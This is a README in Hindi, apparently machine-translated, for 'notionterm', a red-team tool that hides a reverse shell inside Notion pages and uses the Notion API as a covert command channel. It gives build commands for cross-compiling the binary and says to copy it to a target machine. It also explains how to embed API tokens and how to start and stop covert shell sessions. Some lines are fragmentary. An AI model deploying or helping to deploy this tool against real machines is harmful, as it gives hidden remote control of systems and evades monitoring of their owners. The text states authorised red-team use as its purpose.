
Notion पृष्ठों में एक reverse shell एम्बेड करें, Notion API को proxy के रूप में उपयोग करते हुए, जो encrypted और authenticated communication के साथ गुप्त remote shell sessions को सक्षम बनाता है, red team operations के लिए।

notionterm चलाएँ।
मोटे तौर पर OffensiveNotion और notionion के शानदार विचार से प्रेरित!
कमांड और फ्लैग सीखना बहुत उबाऊ है: wrap-notionterm.sh का उपयोग करें
notionterm बनाएँ और इसे लक्ष्य मशीन पर स्थानांतरित करें (देखें बिल्ड)notionterm चलाने के 3 मुख्य तरीके हैं:
notionterm [flags]
ON करें, रिवर्स शेल का काम करें, रोकने के लिए OFF करें, फिर से शुरू करने के लिए ON करें, आदि...
notionterm --server [flags]
CTRL+L): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]।
light मोड
notionterm light [flags]
चूंकि notionterm का उद्देश्य लक्ष्य मशीन पर चलाना है, इसे उसके अनुरूप बनाना होगा।
इस प्रकार लक्ष्य आवश्यकता के अनुरूप env var सेट करें:
GOOS=[windows/linux/darwin]
git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go
आपको API कुंजी और notion पेज URL को या तो env var (NOTION_TOKEN और NOTION_PAGE_URL) या फ्लैग (--token और --page-url) का उपयोग करके सेट करना होगा।
सीधे बाइनरी में notion इंटीग्रेशन API टोकन और notion पेज URL एम्बेड करें। ⚠️ बाइनरी तक पहुँच रखने वाला कोई भी टोकन प्राप्त कर सकता है। सुरक्षा कारणों से इसे साझा न करें और उपयोग के बाद हटा दें।
तदनुसार env var सेट करें:
export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]
और इसे बनाएँ:
git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS